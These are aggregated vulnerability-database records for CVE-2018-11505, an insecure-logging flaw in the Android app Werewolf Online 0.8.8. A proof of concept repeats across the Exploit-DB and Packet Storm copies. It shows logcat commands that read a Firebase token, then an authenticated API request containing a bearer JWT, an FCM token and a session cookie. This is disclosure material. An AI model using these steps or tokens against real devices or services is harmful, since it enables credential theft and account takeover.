{"id": "1337DAY-ID-30479", "bulletinFamily": "exploit", "title": "Werewolf Online 0.8.8 - Information Disclosure Vulnerability", "description": "Exploit for Android platform in category local exploits", "published": "2018-05-29T00:00:00", "modified": "2018-05-29T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://0day.today/exploit/description/30479", "reporter": "ManhNho", "references": [], "cvelist": ["CVE-2018-11505"], "type": "zdt", "lastseen": "2018-05-30T00:19:03", "history": [], "edition": 1, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "92f53b9886369b506399f1232f8f4d9d"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "905ba031fd942c1f7ab9853310a60c9a"}, {"key": "href", "hash": "40c006656692bc539f5af96e688699e7"}, {"key": "modified", "hash": "8cdc434bfe47937b61b5842f9f82b1d2"}, {"key": "published", "hash": "8cdc434bfe47937b61b5842f9f82b1d2"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "66b62f7df73b9a73b8fe83a45f6bd096"}, {"key": "sourceData", "hash": "dace3040f5e05eebcbe9706f9a15cf67"}, {"key": "sourceHref", "hash": "fbc614be5bae4cc023692960893e0c1c"}, {"key": "title", "hash": "7ddf86852dc2ed9151fa5009ef752bb3"}, {"key": "type", "hash": "0678144464852bba10aa2eddf3783f0a"}], "hash": "e30125d34de64e72123834c781e205e2edaeb6e1b2496681dce8bffd97f5644d", "viewCount": 8, "enchantments": {"score": {"value": 2.1, "vector": "NONE", "modified": "2018-05-30T00:19:03"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-11505"]}, {"type": "exploitdb", "idList": ["EDB-ID:44776"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:147955"]}], "modified": "2018-05-30T00:19:03"}, "vulnersScore": 2.1}, "objectVersion": "1.3", "sourceHref": "https://0day.today/exploit/30479", "sourceData": "# Exploit Title: Werewolf Online 0.8.8 - Insecure Logging\r\n# Software Link:\r\nhttps://play.google.com/store/apps/details?id=com.werewolfapps.online\r\n# Download Link:\r\nhttps://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details\r\n# Exploit Author: ManhNho\r\n# Version: 0.8.8 Android App\r\n# CVE: CVE-2018-11505\r\n# Category: Mobile Apps\r\n# Tested on: Android 4.4\r\n \r\n---Description---\r\n \r\nMany developers log information to the android log. Sometimes sensitive\r\ndata as well.\r\nWith output of logcat, Hacker can get \"Firebase token\" which used in PUT\r\nrequest to /players/meAndCheckAppVersion\r\n \r\n---PoC---\r\n \r\n[email\u00a0protected]:/ # ps | grep 'were'\r\nu0_a72 9161 205 810364 172268 ffffffff b765ea23 S\r\ncom.werewolfapps.online\r\n[email\u00a0protected]:/ # logcat | grep -i '9161'\r\nI/ActivityManager( 586): Start proc com.werewolfapps.online for activity\r\ncom.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072,\r\n3003, 1028, 1015}\r\nI/MultiDex( 9161): VM with version 1.6.0 does not have multidex support\r\nI/MultiDex( 9161): Installing application\r\n...\r\nD/RNFirebaseMessaging( 9161): Firebase token:\r\ndygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8\r\nD/RNFirebaseAuth( 9161): getToken/getIdToken\r\nD/RNFirebaseAuth( 9161): getToken:onComplete:success\r\n...\r\n \r\nRequest:\r\n \r\nPUT /players/meAndCheckAppVersion HTTP/1.1\r\nauthorization: Bearer\r\neyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 207\r\nHost: api-core.werewolf-apps.com\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nCookie:\r\nAWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3\r\nUser-Agent: okhttp/3.6.0\r\n \r\n{\"versionNumber\":48,\"platform\":\"android\",\"fcmToken\":\"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8\"}\r\n \r\n---References---\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505\r\nhttps://pastebin.com/NtPn3jB8\n\n# 0day.today [2018-05-29] #"}

{"cve": [{"lastseen": "2018-07-10T10:48:51", "bulletinFamily": "NVD", "description": "The Werewolf Online application 0.8.8 for Android allows attackers to discover the Firebase token by reading logcat output.", "modified": "2018-07-09T08:12:33", "published": "2018-05-26T18:29:00", "id": "CVE-2018-11505", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-11505", "title": "CVE-2018-11505", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "exploitdb": [{"lastseen": "2018-05-28T00:31:03", "bulletinFamily": "exploit", "description": "Werewolf Online 0.8.8 - Information Disclosure. CVE-2018-11505. Local exploit for Android platform", "modified": "2018-05-27T00:00:00", "published": "2018-05-27T00:00:00", "id": "EDB-ID:44776", "href": "https://www.exploit-db.com/exploits/44776/", "type": "exploitdb", "title": "Werewolf Online 0.8.8 - Information Disclosure", "sourceData": "# Exploit Title: Werewolf Online 0.8.8 - Insecure Logging\r\n# Date: 2018-05-24\r\n# Software Link:\r\nhttps://play.google.com/store/apps/details?id=com.werewolfapps.online\r\n# Download Link:\r\nhttps://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details\r\n# Exploit Author: ManhNho\r\n# Version: 0.8.8 Android App\r\n# CVE: CVE-2018-11505\r\n# Category: Mobile Apps\r\n# Tested on: Android 4.4\r\n\r\n---Description---\r\n\r\nMany developers log information to the android log. Sometimes sensitive\r\ndata as well.\r\nWith output of logcat, Hacker can get \"Firebase token\" which used in PUT\r\nrequest to /players/meAndCheckAppVersion\r\n\r\n---PoC---\r\n\r\nroot@vbox86p:/ # ps | grep 'were'\r\nu0_a72 9161 205 810364 172268 ffffffff b765ea23 S\r\ncom.werewolfapps.online\r\nroot@vbox86p:/ # logcat | grep -i '9161'\r\nI/ActivityManager( 586): Start proc com.werewolfapps.online for activity\r\ncom.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072,\r\n3003, 1028, 1015}\r\nI/MultiDex( 9161): VM with version 1.6.0 does not have multidex support\r\nI/MultiDex( 9161): Installing application\r\n...\r\nD/RNFirebaseMessaging( 9161): Firebase token:\r\ndygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8\r\nD/RNFirebaseAuth( 9161): getToken/getIdToken\r\nD/RNFirebaseAuth( 9161): getToken:onComplete:success\r\n...\r\n\r\nRequest:\r\n\r\nPUT /players/meAndCheckAppVersion HTTP/1.1\r\nauthorization: Bearer\r\neyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 207\r\nHost: api-core.werewolf-apps.com\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nCookie:\r\nAWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3\r\nUser-Agent: okhttp/3.6.0\r\n\r\n{\"versionNumber\":48,\"platform\":\"android\",\"fcmToken\":\"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8\"}\r\n\r\n---References---\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505\r\nhttps://pastebin.com/NtPn3jB8", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/44776/"}], "packetstorm": [{"lastseen": "2018-05-31T09:29:47", "bulletinFamily": "exploit", "description": "", "modified": "2018-05-27T00:00:00", "published": "2018-05-27T00:00:00", "id": "PACKETSTORM:147955", "href": "https://packetstormsecurity.com/files/147955/Werewolf-Online-0.8.8-Information-Disclosure.html", "title": "Werewolf Online 0.8.8 Information Disclosure", "type": "packetstorm", "sourceData": "`# Exploit Title: Werewolf Online 0.8.8 - Insecure Logging \n# Date: 2018-05-24 \n# Software Link: \nhttps://play.google.com/store/apps/details?id=com.werewolfapps.online \n# Download Link: \nhttps://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details \n# Exploit Author: ManhNho \n# Version: 0.8.8 Android App \n# CVE: CVE-2018-11505 \n# Category: Mobile Apps \n# Tested on: Android 4.4 \n \n---Description--- \n \nMany developers log information to the android log. Sometimes sensitive \ndata as well. \nWith output of logcat, Hacker can get \"Firebase token\" which used in PUT \nrequest to /players/meAndCheckAppVersion \n \n---PoC--- \n \nroot@vbox86p:/ # ps | grep 'were' \nu0_a72 9161 205 810364 172268 ffffffff b765ea23 S \ncom.werewolfapps.online \nroot@vbox86p:/ # logcat | grep -i '9161' \nI/ActivityManager( 586): Start proc com.werewolfapps.online for activity \ncom.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072, \n3003, 1028, 1015} \nI/MultiDex( 9161): VM with version 1.6.0 does not have multidex support \nI/MultiDex( 9161): Installing application \n... \nD/RNFirebaseMessaging( 9161): Firebase token: \ndygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8 \nD/RNFirebaseAuth( 9161): getToken/getIdToken \nD/RNFirebaseAuth( 9161): getToken:onComplete:success \n... \n \nRequest: \n \nPUT /players/meAndCheckAppVersion HTTP/1.1 \nauthorization: Bearer \neyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw \nContent-Type: application/json; charset=utf-8 \nContent-Length: 207 \nHost: api-core.werewolf-apps.com \nConnection: close \nAccept-Encoding: gzip, deflate \nCookie: \nAWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3 \nUser-Agent: okhttp/3.6.0 \n \n{\"versionNumber\":48,\"platform\":\"android\",\"fcmToken\":\"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8\"} \n \n---References--- \nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505 \nhttps://pastebin.com/NtPn3jB8 \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/147955/werewolfonline088-disclose.txt"}]}